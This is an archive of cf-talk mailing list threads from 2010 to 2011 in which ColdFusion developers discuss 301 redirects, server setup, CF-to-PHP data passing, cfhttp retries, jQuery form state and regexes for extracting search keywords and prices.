I believe Google's webmaster tools has the option to treat www and non-www traffic as the same? ~Che -Original Message- From: Aaron Renfroe [mailto:mossma...@gmail.com] Sent: Tuesday, January 18, 2011 4:07 PM To: cf-talk Subject: CF Permanent Redirect (301)??? Hello Everyone! I've been optimizing my site and checking it in google's webmaster tools, fixing it all to be a SEO sensation (LOL). I keep getting the advice to use a permenant redirect from my www.griffinrad.com to griffinrad.com. Here is what its saying to do: .cfheader statuscode=301 statustext=Moved permanently .cfheader name=Location value=http://www.new-url.com; My issue is i only have the one site (griffinrad.com), there is no old or new site that i'm redirecting. I'm just trying to get the people that put www before the url. When i look at my CTR and traffic, the WWW is hurting bad, but the non www url is doing well. How do i use this option? Do i really just put it at the top of all my pages and tell it to re-direct back to its self? That doesn't make allot of sense... Thank you in advance! Aaron P.S. Has anyone used http://websitegrader.com/ by HubSpot? I was curious of the validity of the information and advice. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:340989 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
(ot) Server Setup Opinions
I host approx. 5-6 dozen (small traffic) database driven CF sites on multiple servers and I am in the market for new server hardware. Since I last purchased hardware, the capabilities of server hardware has increased dramatically. That said, for those of you whose company hosts CF web sites, do you: A: Have a separate database server and a separate web server for 'X' number of sites? B: Have one server that is the combined database/web server for only 'X' number of sites? C: Have one 'mega' server that is the combined database/web server for all of your sites? D: Some other combo. Please explain. I guess I'm wondering if it is still frowned upon to combine the database and the web server on the same machine? Any responses would be appreciated. Che Vilnonis Application Developer Advertising Systems Incorporated 8470C Remington Avenue Pennsauken, NJ 08110 p: 856.488.2211 f: 856.488.1990 www.asitv.com ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:340850 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: (ot) Server Setup Opinions
No problem. Were a Windows shop. So it will be Microsoft 2008 R2 for the OS and the DB. -Original Message- From: Kelly Matthews [mailto:ke...@webdiva.org] Sent: Friday, January 14, 2011 8:59 AM To: cf-talk Subject: Re: (ot) Server Setup Opinions Oops sorry for the dupe. Windows or Linux? What type of DB? MS SQL? mySQL? www.asitv.com ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:340857 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: (ot) Server Setup Opinions
Thanks for all of the responses. Looks like I'll be doing what I always have done... keeping the db and the app server separate. -Original Message- From: Russ Michaels [mailto:r...@michaels.me.uk] Sent: Friday, January 14, 2011 12:40 PM To: cf-talk Subject: RE: (ot) Server Setup Opinions Hey Al, This is actually not true. A hardware failure will affect everything yes yes, but if CF fails this will not affect ASP or .net or PHP or HTML pages and vice versa. If the DB server fails this will not affects pages that do not use the DB or where the queries are cached. Russ -Original Message- From: Al Musella, DPM [mailto:muse...@virtualtrials.com] Sent: 14 January 2011 16:51 To: cf-talk Subject: RE: (ot) Server Setup Opinions Actually - that is a point in FAVOR of combining the 2. If you have 2 servers - one for database and one for Webserver/CF, a failure on either one will bring down all of your websites. You double the chance that there will be a problem. I run a server that combines everything.. It only has a few small websites, and CPU is usually sitting at about 2%. I would say combine them all, and see how it goes. When it gets to the point where the websites aren't snappy enough, separate out the database server to a different computer. I am about to upgrade to a newer server also. (Mine is about 5 years old).. what are people using for a firewall / security appliance? I am looking at a cisco 5505. At 10:17 AM 1/14/2011, you wrote: This does cause you a single point of failure though, so if CF for example canes the CPU then this will affect the database server as well. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:340883 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
CF and a Remote PHP Site...
We have a client that sells custom built picture frames on an older CF app. His competition uses software that allows customers to upload photos and to visually see the picture frames they are building. He wants to add this functionality to his web site. I was put in touch with a company that sells this type of software. It is written in PHP. The PHP developer thought we'd be able to pass data from my site to his. Once the visualized frame was built, he'd pass data back to me and I would add the custom built frame to the shopping cart. Sending data to the remote site (via XML and CFHTTP) is not an issue. I'm looking for a solution on how to best receive the data. Keep in mind, the CF site runs on a CFMX 6 shared server that uses client variables for storage. I realize this is not the best way to do things and there would be pitfalls with session timeouts, etc. Any advice would be appreciated. Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339917 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF and a Remote PHP Site...
Thanks Russ. Let me explain further. The third party PHP site would mimic the entire line of products that the picture framing company sells. (IDs and SKUs would be the same.) I would then pass a Frame ID to the third party PHP site. Over a period of time, the customer would build his/her frame. Once he/she hits add to cart, the third party PHP site would pass back several variables such as the selected frame width, frame height, mat width, mat height, second mat width and height, mat style, mat cut, plexiglass width and height, foam core width and height, etc. Basically, I would need to get back 15-20 variables of data to create one custom picture frame. Does that make more sense? Would a simple CF listener page work where all the data is passed back in the query string and then parsed? Would that be the best way to do this? Thanks, Che -Original Message- From: Russ Michaels [mailto:r...@michaels.me.uk] Sent: Wednesday, December 08, 2010 1:13 PM To: cf-talk Subject: RE: CF and a Remote PHP Site... From what you have said this sounds really simple to achieve. You presumably have pictures of the frames. User chooses the frame. User uploads their photo Resize the photo to fit in the frame, and overlay it on top of the frame image using a div and position it. Russ -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: 08 December 2010 17:19 To: cf-talk Subject: CF and a Remote PHP Site... We have a client that sells custom built picture frames on an older CF app. His competition uses software that allows customers to upload photos and to visually see the picture frames they are building. He wants to add this functionality to his web site. I was put in touch with a company that sells this type of software. It is written in PHP. The PHP developer thought we'd be able to pass data from my site to his. Once the visualized frame was built, he'd pass data back to me and I would add the custom built frame to the shopping cart. Sending data to the remote site (via XML and CFHTTP) is not an issue. I'm looking for a solution on how to best receive the data. Keep in mind, the CF site runs on a CFMX 6 shared server that uses client variables for storage. I realize this is not the best way to do things and there would be pitfalls with session timeouts, etc. Any advice would be appreciated. Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339919 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: CF and a Remote PHP Site...
Thanks Dominic. Yeah, that helps. I think the hardest part might be the session mgmt. with the client vars that the legacy CF app uses. -Original Message- From: Dominic Watson [mailto:watson.domi...@googlemail.com] Sent: Wednesday, December 08, 2010 3:18 PM To: cf-talk Subject: Re: CF and a Remote PHP Site... So it sounds like the data will need to be processed in the same request as the user visiting some page on your site (so that you can associate the data with the client in session / client scope). Something that occurs to me off the top of my head: * User finishes with 3rd party site and ready to return to you with the details... * 3rd party sends the user to your page, providing some token with which to fetch the data, e.g. locate to: yoursite.com/some.cfm?thirdPartyToken=3535A6F4587395EB5B * the cfm page that the user lands on makes a request to 3rd party, supplying the token, 3rd party responds with all the relevant data that can then be stored in the client/session scope as you are still within the clients visit request Alternatively, the url to which the 3rd party redirects your user could have all the neccessary data, e.g. locate to: yoursite.com/some.cfm?width=487height=48picture=9734857 etc. HTH Dominic On 8 December 2010 18:27, Che Vilnonis ch...@asitv.com wrote: Thanks Russ. Let me explain further. The third party PHP site would mimic the entire line of products that the picture framing company sells. (IDs and SKUs would be the same.) I would then pass a Frame ID to the third party PHP site. Over a period of time, the customer would build his/her frame. Once he/she hits add to cart, the third party PHP site would pass back several variables such as the selected frame width, frame height, mat width, mat height, second mat width and height, mat style, mat cut, plexiglass width and height, foam core width and height, etc. Basically, I would need to get back 15-20 variables of data to create one custom picture frame. Does that make more sense? Would a simple CF listener page work where all the data is passed back in the query string and then parsed? Would that be the best way to do this? Thanks, Che -Original Message- From: Russ Michaels [mailto:r...@michaels.me.uk] Sent: Wednesday, December 08, 2010 1:13 PM To: cf-talk Subject: RE: CF and a Remote PHP Site... From what you have said this sounds really simple to achieve. You presumably have pictures of the frames. User chooses the frame. User uploads their photo Resize the photo to fit in the frame, and overlay it on top of the frame image using a div and position it. Russ -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: 08 December 2010 17:19 To: cf-talk Subject: CF and a Remote PHP Site... We have a client that sells custom built picture frames on an older CF app. His competition uses software that allows customers to upload photos and to visually see the picture frames they are building. He wants to add this functionality to his web site. I was put in touch with a company that sells this type of software. It is written in PHP. The PHP developer thought we'd be able to pass data from my site to his. Once the visualized frame was built, he'd pass data back to me and I would add the custom built frame to the shopping cart. Sending data to the remote site (via XML and CFHTTP) is not an issue. I'm looking for a solution on how to best receive the data. Keep in mind, the CF site runs on a CFMX 6 shared server that uses client variables for storage. I realize this is not the best way to do things and there would be pitfalls with session timeouts, etc. Any advice would be appreciated. Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339923 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: cfhttp connection timeout - best way to loop or re-try?
Maybe you could do something like this: cfhttp url=somURL method=GET result=results cfif findNoCase(200, results.StatusCode) continue to process cfelse re-process /cfif If you get a timeout, I believe the status code will not be 200 and therefore you could try again. HTH... Che -Original Message- From: Casey Dougall [mailto:ca...@uberwebsitesolutions.com] Sent: Thursday, November 18, 2010 1:39 PM To: cf-talk Subject: cfhttp connection timeout - best way to loop or re-try? Hi, I have a cfhttp call in a cfc that from time to time receives a connection timeout. I'd like to just retry the call again, but not sure of best way to start the call over. I actually don't want to start the whole thing over, just re-try the cfhttp call if it receives a connection timeout. Maybe a cfloop 2 or 3 times? But I don't want it to loop right away, only if it received a timeout. Thoughts? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339358 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Countries Select Box
Rick, do you mean something like this? Most are there except Axis-of-Evil countries. Afghanistan AF Albania AL Algeria DZ American Samoa (U.S. Ter.) AS Andorra AD Angola AO Anguilla AI Antigua Barbuda AG Antilles (Netherland) AN Argentina AR Armenia AM Aruba AW Ascension GB2 Australia AU Austria AT Azerbaijan AZ Azores PT2 Bahamas BS Bahrain BH Bangladesh BD Barbados BB Barbuda (Antigua) AG Belarus BY Belgium BE Belize BZ Benin BJ Bermuda BM Bhutan BT Bolivia BO Bonaire AN2 Bosnia-Hercegovina BA Botswana BW Brazil BR British Virgin Is. VG Brunei BN Bulgaria BG Burkina Faso BF Burma (Myanmar) MM Burundi BI Cambodia (Kampuchea) KH Cameroon CM Canada CA Cape Verde CV Cayman Islands KY Central African Rep. CF Chad TD Channel Islands GB3 Chile CL China CN Colombia CO Comoros KM Congo CG Cook Islands (N.Z.) CK Corsica FR2 Costa Rica CR Cote D'ivoire (Ivory Coast) CI Croatia HR Curacao (N.A.) AN3 Cyprus CY Czech Republic CZ Denmark DK Djibouti DJ Dominica DM Dominican Republic DO East Timor ID2 Ecuador EC Egypt EG El Salvador SV England (U.K.) GB Equatorial Guinea GQ Eritrea ER Estonia EE Ethiopia ET Faeroe Islands DK1 Fiji FJ Finland FI France FR French Guiana GF French Polynesia PF Gabon GA Gambia GM Georgia GE Germany DE Ghana GH Gibraltar GI Greece GR Greenland GL Grenada GD Guadeloupe GP Guam (U.S. Ter.) GU Guatemala GT Guinea GN Guinea-Bissau GW Guyana GY Haiti HT Holland (Netherlands) NL Honduras HN Hong Kong HK Hungary HU Iceland IS India IN Indonesia ID Iraq IQ Ireland IE Israel IL Italy IT Ivory Coast CI Jamaica JM Japan JP Jordan JO Kampuchea (Cambodia) KH Kazakhstan KZ Kenya KE Kiribati KI Kosrae FM1 Kuwait KW Kyrgyzstan KG Laos LA Latvia LV Lebanon LB Lesotho LS Liberia LR Libya LY Liechtenstein LI Lithuania LT Luxembourg LU Macau MO Macedonia MK Madagascar MG Madeira Islands PT3 Malawi MW Malaysia MY Maldives MV Mali ML Malta MT Marshall Islands MH Martinique MQ Mauritania MR Mauritius MU Mexico MX Micronesia FM Moldova MD Monaco MC Mongolia MN Montenegro ME Montserrat MS Morocco MA Mozambique MZ Myanmar (Burma) MM Namibia NA Nauru NR Nepal NP Netherlands NL Netherlands Antilles AN New Caledonia NC New Zealand NZ Nicaragua NI Niger NE Nigeria NG Norfolk Island AU2 Nort. Mariana Isl. MP Northern Ireland (U.K.) GB4 Norway NO Oman OM Pakistan PK Palau PW Panama PA Papua New Guinea PG Paraguay PY Peru PE Philippines PH Pitcairn Islands GB5 Pohnpei FM3 Poland PL Portugal PT Puerto Rico PR Qatar QA Reunion RE Romania RO Rota (U.S. Ter.) XD Russia RU Rwanda RW Saba (N.A.) AN5 Saipan (U.S. Ter.) MP2 San Marino (Italy) SM Sao Tome Principe ST Saudi Arabia SA Scotland (U.K.) GB7 Senegal SN Serbia RS Seychelles SC Sierra Leone SL Singapore SG Slovak Republic SK Slovenia SI Solomon Islands SB Somalia SO South Africa ZA South Korea KR Spain ES Sri Lanka LK St. Barthelemy (Guad) GP2 St. Croix (U.S. Ter.) VI2 St. Eustatius (N.A.) AN6 St. Helena GB6 St. Kitts Nevis KN St. Lucia LC St. Maarten (N.A.) AN7 St. Martin GP3 St. Pierre Miqu. PM St. Thomas (U.S. Ter.) VI3 St. Vincent VC Suriname SR Swaziland SZ Sweden SE Switzerland CH Tahiti (Fr. Poly.) PF Taiwan TW Tajikistan TJ Tanzania TZ Thailand TH Tinian XD2 Togo TG Tonga TO Tortola VG2 Trinidad And Tobago TT Tristan Da Cunha GB8 Truk FM4 Tunisia TN Turkey TR Turkmenistan TM Turks Caicos Is. TC Tuvalu TV U.S. Virgin Islands VI Uganda UG Ukraine UA Union Island WS United Arab Emirates AE Uruguay UY Uzbekistan UZ Vanuatu VU Vatican City VA Venezuela VE Vietnam VN Wales (U.K.) GB9 Wallis Futuna Is. WF Western Samoa WS Yap FM5 Yemen YE Zaire CD Zambia ZM Zimbabwe ZW ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:339122 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Looping over Query that's contained in a structure.
Michael, would you believe once upon a time I placed 'top 3' in my local spelling bee? Age has not been kind to my spelling and/or typing skills. ;) -Original Message- From: Michael Grant [mailto:mgr...@modus.bz] Sent: Wednesday, October 13, 2010 9:16 PM To: cf-talk Subject: Re: Looping over Query that's contained in a structure. I don't know what's funnier. Dispise being intentional or not. On Wed, Oct 13, 2010 at 4:16 PM, Che Vilnonis ch...@asitv.com wrote: I dispise typos. Sorry to bother everyone. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338170 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Looping over Query that's contained in a structure.
Touché :) -Original Message- From: Eric Cobb [mailto:cft...@ecartech.com] Sent: Thursday, October 14, 2010 9:13 AM To: cf-talk Subject: Re: Looping over Query that's contained in a structure. Michael, would you believe once upon a time I placed 'top 3' in my local spelling bee? Out of how many people? 3? ;) Thanks, Eric Cobb ECAR Technologies, LLC http://www.ecartech.com http://www.cfgears.com Che Vilnonis wrote: Michael, would you believe once upon a time I placed 'top 3' in my local spelling bee? Age has not been kind to my spelling and/or typing skills. ;) -Original Message- From: Michael Grant [mailto:mgr...@modus.bz] Sent: Wednesday, October 13, 2010 9:16 PM To: cf-talk Subject: Re: Looping over Query that's contained in a structure. I don't know what's funnier. Dispise being intentional or not. On Wed, Oct 13, 2010 at 4:16 PM, Che Vilnonis ch...@asitv.com wrote: I dispise typos. Sorry to bother everyone. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338172 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Looping over Query that's contained in a structure.
I have a structure, Q. In it, I have several vars and a query, LINEITEMS. I'm having a brainfart, how can I loop over the query LINEITEMS that's in my structure? See link for screen dump of the structure: http://www.asitv.com/images/dump_ss.jpg Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338141 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Looping over Query that's contained in a structure.
I tried that. I get, The value of the attribute query, which is currently q.lineitems, is invalid. I also tried cfloop query=q[lineItems] and cfloop query=q[lineItems][resultset]... No luck with either. -Original Message- From: Leigh [mailto:cfsearch...@yahoo.com] Sent: Wednesday, October 13, 2010 4:03 PM To: cf-talk Subject: Re: Looping over Query that's contained in a structure. cfloop query=structName.lineItems .. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338143 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Looping over Query that's contained in a structure.
I dispise typos. Sorry to bother everyone. -Original Message- From: David McGraw [mailto:david.mcg...@gmail.com] Sent: Wednesday, October 13, 2010 4:13 PM To: cf-talk Subject: Re: Looping over Query that's contained in a structure. Could be becuase your structure key is LineTEMS, not LineItems... Spelling is sometimes the worst bug to catch. David McGraw Oyova Software, LLC http://www.oyova.com ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:338146 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Need A jQuery Guru's Help
I have a form that has some form elements that are disabled by default. There is a radio button (sameasbilling -- default value is 'true') that when checked will enable the disabled elements. Here is my problem, when the form is submitted it is validated. If an error occurs, the app redirects back to the form. Everytime I redirect, all form elements are disabled eventhough the value of the radio button (sameasbilling) may or may not be have a value of 'false'. Here is a simplified version of the form: http://asitv.com/_test.cfm Can anyone take a peek at this page and help me resolve this? Thanks, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336997 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Need A jQuery Guru's Help
Thanks Tony! I tweaked your snippet and everything now works. -Original Message- From: Tony Bentley [mailto:cascadefreehee...@gmail.com] Sent: Tuesday, September 14, 2010 12:36 PM To: cf-talk Subject: Re: Need A jQuery Guru's Help script cfif formIsValid $(document).ready(function(){showHide()}); cfelse $(document).ready(function(){showHide(true)}); /cfif /script ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336999 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: RegEx: Grabbing Keywords from Referers
Thanks for the update Peter. -Original Message- From: Peter Boughton [mailto:bought...@gmail.com] Sent: Tuesday, August 24, 2010 4:58 AM To: cf-talk Subject: Re: RegEx: Grabbing Keywords from Referers cfset keywords = reMatchNoCase([?|][p|q]=[^]+, referer) This is incorrect - the | is a literal in character classes. You want [?][pq]=[^]+ ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336491 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Grabbing Keywords from Referers
I'm looking for a script to parse (yahoo,bing,google) keywords from the cgi.http_referer variable preferrably done using CF's or a Java RegEx. Is there such a beast? TIA, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336470 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: RegEx: Grabbing Keywords from Referers
Nice solution John. Thanks! Definitely different than mine. I wonder if the regex gurus have a solution as well. ;) -Original Message- From: John M Bliss [mailto:bliss.j...@gmail.com] Sent: Monday, August 23, 2010 1:00 PM To: cf-talk Subject: Re: Grabbing Keywords from Referers This does (at least) Google. Shouldn't be too difficult to extrapolate the others... cfloop index=thisarg list=#cgi.HTTP_REFERER# delimiters=? cfif ListFirst(thisarg, =) is q and ListLen(thisarg, =) is 2 !--- then user searched for URLDecode(ListLast(thisarg, '=')) --- cfbreak /cfif /cfloop On Mon, Aug 23, 2010 at 11:52 AM, Che Vilnonis ch...@asitv.com wrote: I'm looking for a script to parse (yahoo,bing,google) keywords from the cgi.http_referer variable preferrably done using CF's or a Java RegEx. Is there such a beast? TIA, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336472 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: RegEx: Grabbing Keywords from Referers
Wow. That works very well. Thanks! -Original Message- From: Andy Matthews [mailto:li...@commadelimited.com] Sent: Monday, August 23, 2010 2:55 PM To: cf-talk Subject: RE: RegEx: Grabbing Keywords from Referers Ah. The text was so small in my testing app that I couldn't tell what that was. Try this instead: [?|]q=[^]+ That only looks for q= when immediately following a ? or an . Given the same string: http://www.google.com/search?q=coldfusionsource=ighl=enrlz=aq=faqi=g-p3 g7aql=oq=gs_rfai=CJtNhsL9yTK_zHIWWhgTb-J3tDwAAAKoEBU_QXcSj It only matches ?q=coldfusion or q=coldfusion -Original Message- From: John M Bliss [mailto:bliss.j...@gmail.com] Sent: Monday, August 23, 2010 1:48 PM To: cf-talk Subject: Re: RegEx: Grabbing Keywords from Referers Not sure where the second q= came from. From this: aq=f On Mon, Aug 23, 2010 at 1:44 PM, Andy Matthews li...@commadelimited.comwrote: This regex would search through a string and return all occurences of q=followed by any character that's NOT an . q=[^]+ Given this string: http://www.google.com/search?source=ighl=enrlz=q=coldfusionaq=faq i=g-p3 g7aql=oq=gs_rfai=CJtNhsL9yTK_zHIWWhgTb-J3tDwAAAKoEBU_QXcSj It matches q=coldfusion q=f Not sure where the second q= came from. I just did a search on the Google homepage for ColdFusion. andy -Original Message- From: Che Vilnonis [mailto:ch...@asitv.com] Sent: Monday, August 23, 2010 12:54 PM To: cf-talk Subject: RE: RegEx: Grabbing Keywords from Referers Nice solution John. Thanks! Definitely different than mine. I wonder if the regex gurus have a solution as well. ;) ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336480 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: RegEx: Grabbing Keywords from Referers
Andy thanks again so much... this seems to work with Yahoo,Bing Google. My RegEx skills are a work in progress. cfset referer = http://search.yahoo.com/search;_ylt=Aqj24Omsi1LGKlDY4_G1hi6bvZx4?fr=yfp-t-7 01-stoggle=1cop=mssei=UTF8p=children%20karate%20uniform cfset keywords = reMatchNoCase([?|][p|q]=[^]+, referer) cfset keywords = urlDecode(reReplace(keywords[1],[?|][p|q]=, ,ALL)) ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336481 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Move CF website to non CF host
Nice affiliate link! Hope you make a few shekels from developers clicking. https://alurium.com/clients/affiliates.php -Original Message- From: Scott Stewart [mailto:webmas...@sstwebworks.com] Sent: Friday, August 13, 2010 4:40 PM To: cf-talk Subject: Re: Move CF website to non CF host if we're going to pitch hosting options: I host my blog, http://www.sstwebworks.com with Alurium. They're running Railo which will run about 99% of the CFML code that's out there. They don't have GoDaddy's draconian sandboxing ( no use of the createObject() function stands out) and they're running the latest version of Railo where GoDaddy is running CF 7 or CF 8. Plans start at $3.75 a month http://alurium.com/clients/aff.php?aff=011 ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:336276 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Extracting part of a string (part 2)
I also have a regex I can't seem to get right and could you some help. Take the following string... buick 322 engine (76023) $400 (dallas) How would I extract just the price ($400) without the dollar sign? TIA, Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335538 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: Extracting part of a string (part 2)
Thanks Charlie. I found that (\$\d+(\.\d+)?) works as well. The RegExr site was very helpful. http://www.gskinner.com/RegExr/ -Original Message- For that specific string, \$(\S+) seems to work. The \S is any character that is not a whitespace character, so it'd work for $400.01 as well. \$(\w+) should also return the same result. On Tue, Jul 20, 2010 at 8:24 AM, Che Vilnonis ch...@asitv.com wrote: I also have a regex I can't seem to get right and could you some help. Take the following string... buick 322 engine (76023) $400 (dallas) How would I extract just the price ($400) without the dollar sign? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335548 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Need Advice on Processing After a Page Has Been Rendered
I have a script that pulls data from several external sources and returns the top 500 results and takes about 3-5 seconds to render. To speed things up, I want to database the results for later use. How can I database the results while the user is viewing the page without the increasing the pages render time? In other words, how can I write the data to a database... but only after the page has been completely rendered? What would be the best way to do this? I'm currently using CF8. Thanks Che ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:335465 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
RE: In a pickle, need some help...
